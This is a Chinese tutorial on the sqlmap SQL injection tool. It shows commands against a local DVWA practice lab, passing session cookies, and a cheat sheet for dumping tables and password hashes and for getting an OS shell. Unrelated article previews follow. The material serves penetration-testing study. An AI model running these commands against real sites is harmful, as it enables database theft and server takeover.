sql注入工具-​sqlmap

介绍:

  • sqlmap是一款开源的自动化SQL注入工具,用于自动化检测和利用Web应用程序中的SQL注入漏洞。它具有强大的参数化查询和自定义注入脚本的功能,可以通过检测和利用SQL注入漏洞来获取数据库的敏感信息,如用户名、密码和其他重要数据。
  • sqlmap支持多种数据库管理系统,包括MySQL、Oracle、PostgreSQL和Microsoft SQL Server等。它可以通过发送特制的HTTP请求来检测和利用SQL注入漏洞,还可以使用不同的技术和方法来绕过应用程序的防御机制,以获取更多的信息和访问权限。
  • sqlmap具有命令行界面和图形用户界面两种使用方式,用户可以根据自己的需求选择合适的界面来操作。它支持各种高级注入技术,如时间延迟注入、布尔盲注和报错注入等,可以高效地检测和利用各种类型的SQL注入漏洞。
  • 总之,sqlmap是一款功能强大的SQL注入工具,可以帮助安全研究人员和渗透测试人员自动化检测和利用Web应用程序中的SQL注入漏洞,从而提高安全性和保护敏感数据。

1. sqlmap工具安装

下载:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

提示:如果你有kali虚拟机,也可以使用kali上自带的sqlmap


2. 快速上手sqlmap

提示:以下示例中使用的靶场为dvwa

1. 初体验-检测注入点:难度为 low 的 SQL Injection

如果测试的接口是登录后的那么就需要携带cookie给sqlmap,以下是关于cookie的获取方式

打开开发者工具,点击网络,然后重新刷新网页,找到sqli开头的文档,找到cookie然后复制

或者打开开发者工具后,在控制台输入,copy(document.cookie),就会自动复制

  1. 疑似存在注入点的url:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
  2. 打开sqlmap,执行命令:检测注入点
    python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie='security=low; PHPSESSID=tvdumf3v7rku6h1l7st3fjrv6v'

  3. 执行完成的结果:

       


2. 初体验-检测注入点:难度为 High 的 SQL Injection

  • 主要是学习sqlmap,怎么用于对拥有二级页面的网址进行扫描
  • sqlmap针对于存在二级页面的使用方式
  • 这里可以将输入数据的页面称为一级页面,返回数据的页面称为二级页面

使用命令:

python .\sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php" --data="id=2&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli/" --cookie="security=high; PHPSESSID=d1hbjkficvsajjoqbcftdgjtn4"

命令解读:python .\sqlmap.py -u "提交数据的网址" --data="POST请求的数据" --second-url="返回数据的网址" --cookie="security=high; PHPSESSID=d1hbjkficvsajjoqbcftdgjtn4"


3.常用命令

基本的常用命令:

  • 检测注入点:sqlmap.py -u "疑似存在注入点的url"
  • 查看所有数据库:sqlmap.py -u "疑似存在注入点的url" --dbs
  • 查看当前使用的数据库:sqlmap.py -u "疑似存在注入点的url" --current-db
  • 查看数据表:sqlmap.py -u "疑似存在注入点的url" --tables
    • 或指定某个查看数据库的数据表名:sqlmap.py -u "疑似存在注入点的url" -D ""数据库 --tables
  • 查看数据表所有数据:sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --dump
    • 或者查看数据表中指定字段的数据:sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' -C "user,password" --dump
  • 获取数据库密码:sqlmap.py -u "疑似存在注入点的url" --password
  • 获取所有数据库用户:sqlmap.py -u "疑似存在注入点的url" --users
  • 指定扫描线程:sqlmap.py -u "疑似存在注入点的url" --threads=10
  • 设置cookie:sqlmap.py -u "疑似存在注入点的url" --cookie="cookie值"
  • 获取数据表字段:sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --columns
  • 选项默认全选Y:sqlmap.py -u "疑似存在注入点的url" --batch
    • 使用–batch参数,可以在所有需要用户输入的部分(通常是询问执行yes还是no),执行默认操作,不需要用户再输入
  • 注入探索等级,一般用4:sqlmap.py -u "疑似存在注入点的url" --level=1
    • --level 一共有5个等级:1-5
  • 设置注入类型:sqlmap.py -u "疑似存在注入点的url" --technique="注入的类型"
    • B:Boolean-based blind(布尔型注入)
    • E:Error-based(报错型注入)
    • U:Union query-based(可联合查询注入)
    • S:Stacked queries(可多语句查询注入)
    • T:Time-based blind(基于时间延迟注入)
    • Q:Inline queries(嵌套查询注入)
    • 使用方式:
      • 1. 检测注入点:sqlmap.py -u "疑似存在注入点的url"
      • 2. 知道存在的注入点后-设置technique:sqlmap.py -u "疑似存在注入点的url"  --technique="B"
    • 获取数据库服务器的操作系统shell访问权限:--os-shell 
      • sqlmap.py -u "疑似存在注入点的url" --os-shell
  • 以上的命令都能联合使用:
    • 例如:
      sqlmap.py -u "疑似存在注入点的url" -D '数据库名称' -T '数据表名称' --columns -threads=10 --dump 


关于level参数和risk参数

  • level参数:--level 参数决定了sqlmap在检测sql注入时的努力程度
    • level 1:默认的level等级,会测试GET和POST请求中的参数
    • level 2:除了前面提到的,还会检测cookie中的数据
    • level 3:user-agent和referer头部也纳入检测返回
    • level4~5:会尝试各种payloads 和边界条件,确保不放过任何潜在的注入点
      • 关于什么是payloas:
        • "payload" 是一个常见的术语,指的是在攻击或渗透测试中用于执行某种操作或达到某种目的的恶意代码或数据。 在攻击者的角度,payload 可能是一段恶意代码,用于利用系统或应用程序中的漏洞,以获取未授权的访问权限、执行命令、窃取敏感信息等。
      • 默认使用sqlmap中的payloads
      • 关于自定义payloads请在搜索引擎上查找相关资料
  • risk参数:--risk 与 --level 不同,-risk 参数更像是告诉 sqlmap:“我愿意承担多大的风险来进行这次测试
    • risk 1:安全第一,默认的风险等级,风险几乎为 0 
    • risk 2:除了默认的检测,还会尝试时间型盲注
    • risk 3:在风险等级2的基础上,在加上 OR 类型的布尔型盲注。这种方式在某些情况下可能会导致数据表的所有记录被更新,所以使用时需谨慎。
  • level 和 risk的区别:
    • 方向不同--level 更像是广度上的拓展,而 --risk 则是深度上的挖掘。
    • 场景不同:如果觉得默认的 GET 和 POST 参数检测不够,想要找找其它位置的注入点时,可以考虑加 --level 等级。如果可以确定某个位置就是存在注入点,或是强烈怀疑某个地方存在注入,但目前的 payload 覆盖不到,而且愿意承担风险进行深入测试时,可以考虑提升 --risk 等级。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/830447.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++ | Leetcode C++题解之第60题排列序列

题目&#xff1a; 题解&#xff1a; class Solution { public:string getPermutation(int n, int k) {vector<int> factorial(n);factorial[0] 1;for (int i 1; i < n; i) {factorial[i] factorial[i - 1] * i;}--k;string ans;vector<int> valid(n 1, 1);…

gateway全局token过滤器

添加gateway依赖 <dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-gateway</artifactId></dependency>创建一个tokenFilter 实现全局过滤器GlobalFilter,并且实现fitler方法 Value("${…

WebGL/Cesium 大空间相机抖动 RTE(Relative to Eye)实现原理简析

在浏览器中渲染大尺寸 3D 模型&#xff1a;Speckle 处理空间抖动的方法 WebGL/Cesium 大空间相机抖动 RTE(Relative to Eye)实现原理简析 注: 相机空间和视图空间 概念等效混用 1、实现的关键代码 const material new THREE.RawShaderMaterial({uniforms: {cameraPostion: {…

【全开源】Java上门老人护理老人上门服务类型系统小程序APP源码

功能&#xff1a; 服务分类与选择&#xff1a;系统提供详细的老人护理服务分类&#xff0c;包括日常照护、康复训练、医疗护理等&#xff0c;用户可以根据老人的需求选择合适的服务项目。预约与订单管理&#xff1a;用户可以通过系统预约护理服务&#xff0c;并查看订单详情&a…

final原理

文章目录 1. 设置 final 变量的原理2. 获取 final 变量的原理 1. 设置 final 变量的原理 理解了 volatile 原理&#xff0c;再对比 final 的实现就比较简单了 public class TestFinal {final int a 20; }字节码 0: aload_0 1: invokespecial #1 // Method java/lang/Object…

Python进阶之-traceback详解

✨前言&#xff1a; 在日常开发中&#xff0c;我们会做一些基本的异常处理&#xff0c;但是有时候只能打印我们处理的结果或者将异常打印出来&#xff0c;不能直观的知道在哪个文件中的哪一行出错。在Python中&#xff0c;traceback是一个用来跟踪异常错误信息的标准库&#x…

Docker搭建LNMP+Wordpress

一.项目模拟 1.项目环境 公司在实际的生产环境中&#xff0c;需要使用 Docker 技术在一台主机上创建 LNMP 服务并运行 Wordpress 网站平台。然后对此服务进行相关的性能调优和管理工作。 安装包下载&#xff1a; wget http://101.34.22.188/lnmp_wordpress/mysql-boost-5.7…

记录k8s以docker方式安装Kuboard v3 过程

原本是想通过在k8s集群中安装kuboad v3的方式安装kuboard&#xff0c;无奈在安装过程中遇到了太多的问题&#xff0c;最后选择了直接采用docker安装的方式&#xff0c;后续有时间会补上直接采用k8s安装kuboard v3的教程。 1.kuboard安装文档地址&#xff1a; 安装 Kuboard v3 …

【机器学习】视觉基础模型的三维意识:前沿探索与局限

视觉基础模型的三维意识&#xff1a;前沿探索与局限 一、引言二、视觉基础模型的三维意识三、当前模型的局限性四、实验与结果五、总结与展望 大规模预训练的进展已经产生了具有强大能力的视觉基础模型。最近的模型不仅可以推广到任意图像的训练任务&#xff0c;而且它们的中间…

【AIGC调研系列】LLaVA++整合Phi-3和Llama-3能够实现什么

LLaVA能够为Phi-3和Llama-3带来的主要好处包括&#xff1a; 视觉处理能力的增强&#xff1a;通过整合Phi-3和Llama-3模型&#xff0c;创建了具备视觉处理能力的Phi-3-V和Llama-3-V版本&#xff0c;这意味着这些模型现在能够理解和生成与图像相关的内容[1]。这种能力的增加&…

第G9周:ACGAN理论与实战

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 | 接辅导、项目定制&#x1f680; 文章来源&#xff1a;K同学的学习圈子 上一周已经给出代码&#xff0c;需要可以跳转上一周的任务 第G8周&#xff1a;ACGAN任…

ARP学习及断网攻击

1.什么是ARP ARP&#xff08;Address Resolution Protocol&#xff09;是一种用于在IPv4网络中将IP地址映射到MAC地址的协议。在计算机网络中&#xff0c;每个网络接口都有一个唯一的MAC地址&#xff08;Media Access Control address&#xff09;&#xff0c;用于识别网络设备…

c#创建新项目

确保已安装.NET Core SDK。&#xff08;visual studio installer中可安装&#xff09; cmd中先引用到文件夹目录下。 mkdir MyConsoleApp MyConsoleApp是项目文件夹的名字。 mkdir 是一个命令行工具&#xff0c;用于在文件系统中创建新的目录&#xff08;文件夹&#xff09;…

TCP协议在物联网中实战

一、TCP协议介绍 网上对TCP协议介绍众多&#xff0c;本人按照自己的理解简单介绍一下。 TCP&#xff08;Transmission Control Protocol&#xff0c; 传输控制协议&#xff09;是一种面向连接的、可靠的、基于字节流的传输控制层通信协议。 1.1 协议机制 1.1.1 三次握手 &…

imx6ull配置交叉编译环境编译u-boot及linux所遇问题解决记录

文章目录 前言一、问题 1 及解决方法1、问题 1 描述2、问题 1 解决方法 二、问题 2 及解决方法1、问题 2 描述2、问题 2 解决方法 三、问题 3 及解决方法1、问题 3 描述2、问题 3 解决方法 四、问题 4 及解决方法1、问题 4 描述2、问题 4 解决方法 前言 CoM-iMX6UL(L) 是一款兼…

linux远程访问及控制

一、SSH远程管理 1.SSH的简介 SSH远程管理是一种通过 SSH 协议安全地管理远程计算机的方法。允许管理员通过加密的连接从本地计算机或其他远程位置连接到远程计算机&#xff0c;并执行管理任务、配置设置、故障排除等操作。 远程链接的两种方法&#xff1a;SSH 、Telnet S…

Hadoop学习-MapReducer

MapReducer 目录 MapReducer 1.Hadoop是干嘛的 2.maven 3.MapReducer 1&#xff09;分析数据 写sql 2&#xff09;写程序 a.mapper程序 b.洗牌 分组排序 c.reducer程序 d.Test类 1.Hadoop是干嘛的 1&#xff09;分布式存储 HDFS 2&#xff09;处理大规模数据 Map…

Jammy@Jetson Orin Nano - Tensorflow GPU版本安装

JammyJetson Orin Nano - Tensorflow GPU版本安装 1. 源由2. 问题3. 分析3.1 当前版本Tensorflow 2.16.13.2 GPU版本二进制安装3.3 GPU版本源代码安装3.3.1 问题1 ERROR: no such target //tensorflow/tools/pip_package:wheel3.3.2 问题2 fatal error: cstddef file not found…

《21天学通C++》(第十一章)多态

为什么需要多态&#xff1f; 为了最大限度地减少代码&#xff0c;提高可读性 1.虚函数 虚函数是C中的一种特殊成员函数&#xff0c;它允许在派生类&#xff08;也称为子类&#xff09;中重写&#xff08;覆盖&#xff09;基类的实现&#xff0c;使用virtual进行声明 在C中&am…

vue+element-ui实现横向长箭头,横向线上下可自定义文字(使用after伪元素实现箭头)

项目场景&#xff1a; 需要实现一个长箭头&#xff0c;横向线上下可自定义文字 代码描述 <div><span class"data-model">{{ //上方文字}}</span><el-divider class"q"> </el-divider>//分隔线<span class"data-mod…